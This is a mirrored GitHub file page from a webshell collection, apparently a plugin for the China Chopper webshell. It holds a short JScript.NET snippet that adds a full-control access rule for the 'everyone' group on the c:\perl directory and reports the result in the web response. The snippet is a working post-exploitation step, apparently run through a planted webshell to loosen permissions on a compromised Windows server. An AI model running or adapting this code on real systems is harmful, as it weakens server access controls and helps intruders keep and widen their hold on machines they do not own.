1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00
Files
webshell/caidao-shell/caidao-plug/Aspx设置权限.ccc
2014-11-04 11:29:23 +08:00

17 lines
1.1 KiB
Plaintext

try
{
var strPath:String = "c:\\perl", strUser:String = "everyone";
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow));
dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\tok");
}catch(x){Response.Write(x.Message);}